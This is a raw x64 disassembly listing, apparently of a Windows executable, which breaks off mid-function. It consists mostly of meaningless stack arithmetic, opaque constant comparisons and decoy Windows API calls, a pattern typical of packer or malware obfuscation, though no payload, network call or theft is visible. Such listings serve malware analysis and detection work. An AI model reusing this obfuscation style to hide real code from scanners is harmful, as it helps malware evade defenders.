mov dword [rsp + 0x704], eax
cmp dword [rsp + 0x704], 0x5075
je 0x14000523e
jmp 0x140005282
mov rax, qword [rsp + 0x3e0]
movsx edx, word [rax]
mov rax, qword [rsp + 0x4e0]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x120], ax
mov rax, qword [rsp + 0x458]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4d4]
add eax, ecx
mov word [rsp + 0x168], ax
jmp 0x14000536c
mov eax, dword [rsp + 0x180]
mov dword [rsp + 0x594], eax
movsx eax, word [rsp + 0x418]
mov dword [rsp + 0x708], eax
cmp dword [rsp + 0x708], 0xa9
je 0x1400052b1
jmp 0x14000534a
mov rcx, qword [rsp + 0x388]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x1a8]
add rcx, qword [rax]
mov rax, qword [rsp + 0x388]
mov qword [rax], rcx
mov rax, qword [rsp + 0x440]
mov ecx, dword [rsp + 0x448]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x100], eax
mov rcx, qword [rsp + 0x250]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x400]
mov rax, qword [rsp + 0x698]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1d8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x188]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [0x140019344], al
movzx edx, byte [rsp + 0x624]
mov rax, qword [rsp + 0xf8]
movzx ecx, byte [rax]
mov eax, edx
xor eax, ecx
mov byte [rsp + 0x134], al
jmp 0x14000536c
mov rax, qword [rsp + 0x4e0]
movsx edx, word [rax]
movsx eax, word [rsp + 0x328]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x4c0], ax
mov rax, qword [rsp + 0x278]
movzx eax, word [rax]
mov word [rsp + 0x580], ax
mov rax, qword [rsp + 0x4e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x418]
or eax, ecx
mov word [rsp + 0x334], ax
mov rax, qword [rsp + 0x400]
mov qword [rsp + 0x710], rax
cmp qword [rsp + 0x710], 0
je 0x14000543f
movabs rax, 0x7477dba1e96540
cmp qword [rsp + 0x710], rax
je 0x1400053d4
jmp 0x14000958c
mov rcx, qword [rsp + 0x2b8]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x400]
add rax, rcx
mov qword [rsp + 0x550], rax
mov rdx, qword [rsp + 0x440]
mov rax, qword [rsp + 0x628]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
mov dword [rsp + 0x100], eax
mov rax, qword [rsp + 0x3e0]
movzx r9d, word [rax]
mov r8, qword [0x140019388]
mov rdx, qword [rsp + 0x388]
mov rdx, qword [rdx]
mov rcx, qword [rsp + 0x5d8]
call fcn.140001100
jmp 0x14000958c
mov rax, qword [rsp + 0x548]
movzx edx, byte [rax]
mov rax, qword [rsp + 0xf8]
movzx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [0x140018002], al
movsx eax, byte [0x140019344]
movsx ecx, byte [rsp + 0x5b8]
sub eax, ecx
mov byte [rsp + 0x2ec], al
lea rax, [rsp + 0x418]
mov qword [rsp + 0x298], rax
movzx edx, word [rsp + 0x9c]
mov rax, qword [rsp + 0x340]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x168], ax
mov rax, qword [rsp + 0x1d8]
movzx eax, byte [rax]
mov byte [rsp + 0x3d8], al
mov rcx, qword [rsp + 0x400]
mov rax, qword [rsp + 0x198]
add rax, rcx
mov qword [rsp + 0x550], rax
cmp dword [rsp + 0x5c8], 0x48fd
jbe 0x1400059f5
mov rax, qword [rsp + 0x1a8]
mov rax, qword [rax]
add rax, qword [rsp + 0x150]
mov qword [rsp + 0x608], rax
mov rax, qword [rsp + 0x658]
mov ecx, dword [rax]
add ecx, dword [rsp + 0xe8]
mov rax, qword [rsp + 0x108]
mov dword [rax], ecx
mov ecx, dword [rsp + 0x100]
mov rax, qword [rsp + 0x440]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x248], eax
movzx eax, word [rsp + 0x148]
movzx ecx, word [rsp + 0x168]
xor eax, ecx
mov word [0x140018004], ax
mov rax, qword [rsp + 0x188]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0x318]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x3d8], al
mov rcx, qword [rsp + 0x488]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x334]
movsx ecx, word [rsp + 0x120]
or eax, ecx
mov word [rsp + 0x670], ax
movzx ecx, byte [rsp + 0x26c]
movzx eax, byte [rsp + 0x3b0]
and ecx, eax
mov rax, qword [rsp + 0x548]
mov byte [rax], cl
mov rcx, qword [rsp + 0x2f0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x110], eax
mov rax, qword [rsp + 0x320]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x540]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x370], al
mov rcx, qword [rsp + 0x388]
mov rcx, qword [rcx]
mov rax, qword [0x140018010]
sub rax, rcx
mov qword [rsp + 0x428], rax
mov rax, qword [rsp + 0x2b0]
mov rcx, qword [rsp + 0x550]
sub rcx, rax
mov rax, qword [rsp + 0x698]
mov qword [rax], rcx
mov rax, qword [rsp + 0x658]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x170]
add ecx, dword [rax]
mov rax, qword [rsp + 0x658]
mov dword [rax], ecx
movzx ecx, word [rsp + 0x63c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x63c], ax
mov rax, qword [rsp + 0x290]
mov ecx, dword [rsp + 0x448]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x348], eax
movsx edx, byte [rsp + 0x638]
mov rax, qword [rsp + 0x188]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [0x140019344], al
movsx ecx, word [0x140019360]
mov rax, qword [rsp + 0x450]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x298]
mov word [rax], cx
mov rax, qword [rsp + 0x278]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x530]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x458]
mov word [rax], cx
movzx eax, byte [rsp + 0x4c]
movzx ecx, byte [rsp + 0x134]
add eax, ecx
mov byte [rsp + 0x3b0], al
movzx edx, byte [rsp + 0x370]
mov rax, qword [rsp + 0x540]
movzx ecx, byte [rax]
mov eax, edx
or eax, ecx
mov byte [rsp + 0x624], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rcx, qword [rsp + 0x360]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x2c8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x550], rax
mov rcx, qword [rsp + 0x440]
mov eax, dword [rsp + 0x248]
mov ecx, dword [rcx]
xor ecx, eax
mov rax, qword [rsp + 0x440]
mov dword [rax], ecx
mov eax, dword [rsp + 0x180]
movzx ecx, al
mov eax, dword [rsp + 0x594]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x170]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x428]
mov rax, qword [rsp + 0x4b0]
and rax, rcx
mov qword [rsp + 0x608], rax
movzx eax, word [rsp + 0x574]
movzx ecx, word [rsp + 0x390]
add eax, ecx
mov word [0x140018024], ax
mov rax, qword [rsp + 0x188]
movsx ecx, byte [rax]
movsx eax, byte [0x140019344]
sub ecx, eax
mov rax, qword [rsp + 0x188]
mov byte [rax], cl
mov rax, qword [rsp + 0x4e0]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x120]
add ecx, eax
mov rax, qword [rsp + 0x298]
mov word [rax], cx
mov rax, qword [rsp + 0x298]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x3e0]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x450]
mov word [rax], cx
mov rax, qword [rsp + 0x340]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f8]
sub eax, ecx
mov word [rsp + 0x9c], ax
mov ecx, dword [rsp + 0x348]
mov eax, dword [rsp + 0x100]
and eax, ecx
mov dword [rsp + 0x448], eax
mov rax, qword [rsp + 0x108]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x590]
sub eax, ecx
mov dword [rsp + 0x4d0], eax
mov rcx, qword [rsp + 0x2c8]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x550]
mov rax, qword [rsp + 0x2b8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x388]
mov rax, qword [rax]
add rax, qword [rsp + 0x150]
mov qword [rsp + 0x428], rax
mov rax, qword [rsp + 0x3a8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x188]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [0x140019344], al
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x41c], eax
movsx edx, byte [rsp + 0x3d8]
movsx eax, byte [rsp + 0x260]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0x2ec], al
mov rax, qword [rsp + 0x340]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x568]
movzx eax, word [rax]
xor ecx, eax
mov rax, qword [rsp + 0x200]
mov word [rax], cx
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movsx ecx, word [rsp + 0x120]
mov rax, qword [rsp + 0x4e0]
movsx eax, word [rax]
or ecx, eax
mov rax, qword [rsp + 0x3e0]
mov word [rax], cx
mov rax, qword [rsp + 0x548]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x320]
movzx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x99], al
mov rcx, qword [rsp + 0x170]
mov eax, dword [rsp + 0x3a0]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x658]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x2c8]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x3c8]
add rcx, qword [rax]
mov rax, qword [rsp + 0x5b0]
mov qword [rax], rcx
mov rax, qword [rsp + 0x388]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x150]
add rcx, rax
mov rax, qword [rsp + 0x1a8]
mov qword [rax], rcx
mov eax, dword [rsp + 0x5c8]
sub eax, 0x17
mov dword [rsp + 0x5c8], eax
mov rax, qword [rsp + 0x628]
mov ecx, dword [rsp + 0x448]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x668], eax
movsx ecx, byte [rsp + 0x638]
movsx eax, byte [rsp + 0x2ec]
sub ecx, eax
mov rax, qword [0x140019348]
mov byte [rax], cl
jmp 0x1400054d3
mov rax, qword [rsp + 0x530]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x9c]
sub ecx, eax
mov rax, qword [rsp + 0x568]
mov word [rax], cx
mov rax, qword [rsp + 0x450]
movsx ecx, word [rax]
movsx eax, word [0x14001801c]
and ecx, eax
mov rax, qword [rsp + 0x4e0]
mov word [rax], cx
mov rax, qword [rsp + 0x1d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x638]
add eax, ecx
mov byte [rsp + 0x5b8], al
mov rax, qword [rsp + 0x320]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x99]
or eax, ecx
mov byte [rsp + 0x4f8], al
mov rcx, qword [rsp + 0x698]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x250]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x2b0], rax
mov eax, dword [rsp + 0x448]
movzx ecx, al
mov eax, dword [rsp + 0x100]
shr eax, cl
mov dword [rsp + 0x248], eax
mov rcx, qword [rsp + 0x658]
mov eax, dword [rsp + 0x590]
mov ecx, dword [rcx]
xor ecx, eax
mov rax, qword [rsp + 0x658]
mov dword [rax], ecx
lea rcx, [rsp + 0x5e0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, qword [rsp + 0x388]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x4b0]
add rax, rcx
mov qword [rsp + 0x150], rax
mov eax, dword [rsp + 0x3c0]
sub eax, 0xc4
mov dword [rsp + 0x3c0], eax
mov rax, qword [rsp + 0x3a8]
movsx ecx, byte [rax]
mov rax, qword [0x140019380]
movsx eax, byte [rax]
and ecx, eax
mov rax, qword [rsp + 0x1d8]
mov byte [rax], cl
mov rax, qword [rsp + 0x458]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x574]
add eax, ecx
mov word [0x140018004], ax
movsx eax, word [rsp + 0x334]
movsx ecx, word [rsp + 0x120]
add eax, ecx
mov word [rsp + 0x670], ax
mov rax, qword [rsp + 0xf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x470]
sub eax, ecx
mov byte [rsp + 0x26c], al
mov rax, qword [rsp + 0x540]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x4c]
add ecx, eax
mov rax, qword [rsp + 0xf8]
mov byte [rax], cl
mov eax, dword [0x140019340]
mov ecx, dword [rsp + 0x4d0]
sub ecx, eax
mov rax, qword [rsp + 0x108]
mov dword [rax], ecx
mov rax, qword [rsp + 0x3c8]
mov rax, qword [rax]
add rax, qword [rsp + 0x198]
mov qword [rsp + 0x550], rax
mov rcx, qword [rsp + 0x388]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x4b0]
sub rax, rcx
mov qword [rsp + 0x5d8], rax
mov rax, qword [rsp + 0x440]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x100]
and eax, ecx
mov dword [rsp + 0x668], eax
mov rax, qword [rsp + 0x340]
movzx edx, word [rax]
movzx eax, word [rsp + 0x1f8]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x4d4], ax
mov rax, qword [0x140019348]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x188]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [0x140019380]
mov byte [rax], cl
movzx ecx, word [rsp + 0x574]
mov rax, qword [rsp + 0x200]
movzx eax, word [rax]
xor ecx, eax
mov rax, qword [rsp + 0x278]
mov word [rax], cx
movsx ecx, word [rsp + 0x120]
movsx eax, word [rsp + 0x4c0]
or ecx, eax
mov rax, qword [rsp + 0x3e0]
mov word [rax], cx
mov rax, qword [rsp + 0xf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x370]
add eax, ecx
mov byte [rsp + 0x3b0], al
mov rcx, qword [rsp + 0x400]
mov rax, qword [rsp + 0x2b0]
add rax, rcx
mov qword [rsp + 0x550], rax
mov eax, dword [rsp + 0xe8]
mov ecx, dword [0x140019340]
and ecx, eax
mov rax, qword [rsp + 0x170]
mov dword [rax], ecx
mov rax, qword [rsp + 0x440]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x448]
add eax, ecx
mov dword [rsp + 0x248], eax
mov rcx, qword [rsp + 0x5d8]
mov rax, qword [0x140018010]
sub rax, rcx
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x278]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x580]
sub eax, ecx
mov word [rsp + 0x9c], ax
mov rax, qword [rsp + 0x3e0]
movsx edx, word [rax]
mov rax, qword [rsp + 0x298]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [0x140019360], ax
movsx eax, byte [rsp + 0x630]
movsx ecx, byte [rsp + 0x3d8]
sub eax, ecx
mov byte [rsp + 0x2ec], al
mov rcx, qword [rsp + 0x2f0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x41c], eax
mov rax, qword [rsp + 0x1d8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x3a8]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x638], al
mov rax, qword [rsp + 0x320]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x134]
sub eax, ecx
mov byte [rsp + 0x135], al
mov rcx, qword [rsp + 0x250]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x550]
add rax, rcx
mov qword [rsp + 0x2b0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x6b0], rax
mov rax, qword [rsp + 0x5c0]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x290]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x248], eax
mov rcx, qword [rsp + 0x388]
mov rax, qword [rsp + 0x428]
mov rcx, qword [rcx]
or rcx, rax
mov rax, qword [rsp + 0x388]
mov qword [rax], rcx
mov rax, qword [rsp + 0x658]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x358]
xor eax, ecx
mov dword [rsp + 0x4d0], eax
movsx edx, word [rsp + 0x334]
mov rax, qword [rsp + 0x450]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x4c0], ax
cmp dword [rsp + 0x3c0], 0xc72b
jae 0x140005a15
mov rax, qword [rsp + 0x200]
movzx eax, word [rax]
imul eax, eax, 0xd32
mov word [0x140018028], ax
mov rax, qword [rsp + 0x2c8]
mov rax, qword [rax]
mov qword [rsp + 0x718], rax
cmp qword [rsp + 0x718], 0
je 0x140005ebb
movabs rax, 0x7970d45e159eb4
cmp qword [rsp + 0x718], rax
je 0x14000950c
jmp 0x140009573
lea rax, [rsp + 0x670]
mov qword [rsp + 0x408], rax
mov rcx, qword [rsp + 0x5c0]
mov rax, qword [rsp + 0x440]
mov eax, dword [rax]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0x628]
mov dword [rax], ecx
mov eax, dword [rsp + 0x3a0]
mov dword [rsp + 0x634], eax
mov rcx, qword [rsp + 0x550]
mov rax, qword [rsp + 0x400]
sub rax, rcx
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x4e0]
movsx r8d, word [rax]
movsx eax, word [rsp + 0x418]
add r8d, eax
mov rax, qword [rsp + 0x298]
movsx edx, word [rax]
mov rax, qword [rsp + 0x408]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
cmp r8d, eax
je 0x140005ff0
mov rcx, qword [rsp + 0x388]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x428]
mov rax, qword [rsp + 0x1a8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x568]
movzx r9d, word [rax]
movzx r8d, word [rsp + 0x580]
mov edx, dword [rsp + 0x590]
mov rcx, qword [rsp + 0x2b8]
mov rcx, qword [rcx]
call fcn.140009ca0
movzx eax, word [rsp + 0x1f8]
movzx ecx, word [rsp + 0x4d4]
sub eax, ecx
mov word [0x140018020], ax
mov rax, qword [rsp + 0x320]
movzx edx, byte [rax]
mov rax, qword [rsp + 0xf8]
movzx ecx, byte [rax]
mov eax, edx
xor eax, ecx
mov byte [rsp + 0x4c], al
mov rax, qword [rsp + 0x3a8]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0x630]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0x260], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x350], rax
mov rax, qword [rsp + 0xf8]
movzx r8d, byte [rax]
movzx eax, byte [rsp + 0x2ed]
or r8d, eax
movzx edx, byte [rsp + 0x4c]
mov rax, qword [rsp + 0x548]
movzx ecx, byte [rax]
mov eax, edx
cdq
idiv ecx
cmp r8d, eax
jne 0x140006074
mov rax, qword [rsp + 0x290]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x628]
add eax, dword [rcx]
mov dword [rsp + 0x248], eax
mov rax, qword [rsp + 0x170]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x358]
mov rax, qword [rsp + 0x108]
mov dword [rax], ecx
jmp 0x1400094a3
mov rax, qword [rsp + 0x278]
movzx edx, word [rax]
mov rax, qword [rsp + 0x200]
movzx eax, word [rax]
movzx ecx, al
shl edx, cl
mov rax, qword [rsp + 0x530]
movzx eax, word [rax]
movzx ecx, word [0x140018004]
imul eax, ecx
cmp edx, eax
je 0x1400094a3
mov rax, qword [rsp + 0x698]
mov rcx, qword [rsp + 0x5b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x400], rax
mov rax, qword [rsp + 0x1a8]
mov rax, qword [rax]
mov qword [rsp + 0x1b8], rax
movsx edx, byte [rsp + 0x630]
mov rax, qword [rsp + 0x188]
movsx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [0x140019408], al
movzx eax, word [rsp + 0x148]
movzx ecx, word [rsp + 0x9c]
imul eax, ecx
mov word [rsp + 0x1f8], ax
lea rax, [rsp + 0x370]
mov qword [rsp + 0x1f0], rax
movsx ecx, word [rsp + 0x418]
mov rax, qword [rsp + 0x450]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x408]
mov word [rax], cx
mov rax, qword [rsp + 0x408]
movzx eax, word [rax]
mov word [rsp + 0x460], ax
mov rax, qword [rsp + 0x388]
mov rcx, qword [rsp + 0x428]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x550]
mov qword [rsp + 0x720], rax
movabs rax, 0x7b75e883a5249a
cmp qword [rsp + 0x720], rax
je 0x1400061a2
jmp 0x140006228
mov rdx, qword [rsp + 0x290]
mov rax, qword [rsp + 0x5c0]
mov ecx, dword [rax]
mov eax, dword [rdx]
xor eax, ecx
mov dword [rsp + 0x348], eax
mov edx, 0x2b
mov rcx, qword [rsp + 0x2f8]
call qword [sym.imp.GDI32.dll_SetStretchBltMode]
mov dword [rsp + 0xa0], eax
mov rax, qword [rsp + 0x1d8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x188]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [0x140019380]
mov byte [rax], cl
mov rax, qword [rsp + 0x4e0]
movsx edx, word [rax]
mov rax, qword [rsp + 0x450]
movsx ecx, word [rax]
mov eax, edx
or eax, ecx
mov word [rsp + 0x120], ax
jmp 0x140009465
movsx eax, byte [rsp + 0x508]
movsx ecx, byte [rsp + 0x2ec]
cdq
idiv ecx
mov byte [rsp + 0x630], al
mov rax, qword [rsp + 0xf8]
movzx eax, byte [rax]
mov byte [rsp + 0x114], al
mov rax, qword [rsp + 0x1d8]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0x630]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x638], al
mov rax, qword [rsp + 0x1a8]
mov rax, qword [rax]
mov qword [rsp + 0x538], rax
mov rax, qword [rsp + 0x510]
mov rcx, qword [rsp + 0x550]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x170]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x680]
sub ecx, eax
mov rax, qword [rsp + 0x108]
mov dword [rax], ecx
lea rax, [rsp + 0x248]
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x3e0]
movsx edx, word [rax]
mov rax, qword [rsp + 0x408]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [0x140019360], ax
movzx eax, byte [rsp + 0x4f8]
movzx ecx, byte [rsp + 0x26c]
add eax, ecx
mov byte [rsp + 0x3b0], al
movzx eax, word [rsp + 0x148]
mov word [rsp + 0x558], ax
mov rdx, qword [rsp + 0x698]
mov rax, qword [rsp + 0x400]
mov rdx, qword [rdx]
sub rdx, rax
mov rcx, qword [rsp + 0x198]
mov rax, qword [rsp + 0x550]
add rax, rcx
cmp rdx, rax
jbe 0x14000636b
mov rax, qword [rsp + 0x1d8]
movsx edx, byte [rax]
mov rax, qword [0x140019380]
movsx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x3d8], al
movzx r8d, word [rsp + 0x168]
mov rax, qword [rsp + 0x500]
movzx eax, word [rax]
add r8d, eax
movzx edx, word [rsp + 0x558]
mov rax, qword [rsp + 0x458]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
cmp r8d, eax
je 0x1400093e9
mov rax, qword [rsp + 0x250]
mov rcx, qword [rsp + 0x2b0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x550], rax
mov eax, dword [rsp + 0x668]
movzx ecx, al
mov eax, dword [rsp + 0x348]
shl eax, cl
mov dword [rsp + 0x100], eax
mov rax, qword [0x140018010]
mov qword [rsp + 0x338], rax
mov rax, qword [rsp + 0x608]
mov qword [rsp + 0x728], rax
cmp qword [rsp + 0x728], 0
je 0x140006421
movabs rax, 0x70636bb3bc5423
cmp qword [rsp + 0x728], rax
je 0x14000651d
jmp 0x1400065d0
mov ecx, dword [rsp + 0x634]
mov eax, dword [rsp + 0x594]
and eax, ecx
mov dword [rsp + 0x180], eax
lea rax, [rsp + 0x390]
mov qword [0x140019370], rax
mov rax, qword [rsp + 0x108]
mov edx, dword [rax]
mov rax, qword [rsp + 0x170]
add edx, dword [rax]
mov ecx, dword [rsp + 0xa0]
mov eax, dword [rsp + 0x594]
sub eax, ecx
cmp edx, eax
je 0x1400064cf
mov rax, qword [rsp + 0x188]
movzx eax, byte [rax]
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0xf8]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x548]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x4c], al
movsx edx, byte [rsp + 0x3d8]
mov rax, qword [rsp + 0x188]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x638], al
movzx eax, word [rsp + 0x120]
mov word [rsp + 0x6a0], ax
jmp 0x140006518
movsx edx, byte [rsp + 0x630]
movsx eax, byte [rsp + 0x5b8]
sub edx, eax
mov rax, qword [rsp + 0x188]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x638]
add eax, ecx
cmp edx, eax
jne 0x140006518
mov rax, qword [rsp + 0x1a8]
mov rcx, qword [rsp + 0x538]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4b0], rax
jmp 0x1400065d0
mov rax, qword [rsp + 0x290]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x248]
sub ecx, eax
mov rax, qword [rsp + 0x5c0]
mov dword [rax], ecx
mov rax, qword [rsp + 0x2b0]
movzx ecx, al
mov rax, qword [0x140019388]
shr rax, cl
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x658]
mov ecx, dword [rsp + 0x594]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xe8], eax
movzx edx, word [rsp + 0x580]
mov rax, qword [rsp + 0x278]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [0x140018004], ax
mov rax, qword [rsp + 0x298]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x670]
xor ecx, eax
mov rax, qword [rsp + 0x3e0]
mov word [rax], cx
movzx eax, byte [rsp + 0x4f8]
movzx ecx, byte [rsp + 0x135]
add eax, ecx
mov byte [rsp + 0x3b0], al
call fcn.140009c50
movsx eax, byte [rsp + 0x638]
movsx ecx, byte [rsp + 0x318]
and eax, ecx
mov byte [rsp + 0x508], al
lea rcx, str.NkyrZ9P_jGA
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x5cc], ax
movzx ecx, word [rsp + 0x580]
movzx eax, word [rsp + 0x4d4]
sub ecx, eax
mov rax, qword [rsp + 0x278]
mov word [rax], cx
mov rax, qword [rsp + 0x360]
mov rcx, qword [rsp + 0x2c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x400], rax
mov rcx, qword [rsp + 0x170]
mov rax, qword [rsp + 0x108]
mov eax, dword [rax]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x658]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x1a8]
mov rcx, qword [rcx]
add rcx, qword [0x140018010]
mov rax, qword [rsp + 0x1a8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x440]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x248]
sub eax, ecx
mov dword [rsp + 0x100], eax
movzx edx, byte [rsp + 0x2ed]
mov rax, qword [rsp + 0x320]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [0x140018003], al
movzx eax, byte [rsp + 0x99]
movzx ecx, byte [rsp + 0x135]
add eax, ecx
mov byte [rsp + 0x4f8], al
mov rax, qword [rsp + 0x3e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x334]
and eax, ecx
mov word [rsp + 0x120], ax
mov rax, qword [rsp + 0x278]
movzx edx, word [rax]
mov rax, qword [rsp + 0x530]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x340]
mov word [rax], cx
mov rax, qword [rsp + 0x1d8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x2ec]
or ecx, eax
mov rax, qword [rsp + 0x1d8]
mov byte [rax], cl
mov rax, qword [rsp + 0x250]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x400]
shr rax, cl
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x628]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x668]
xor eax, ecx
mov dword [rsp + 0x248], eax
mov rcx, qword [rsp + 0x388]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x608]
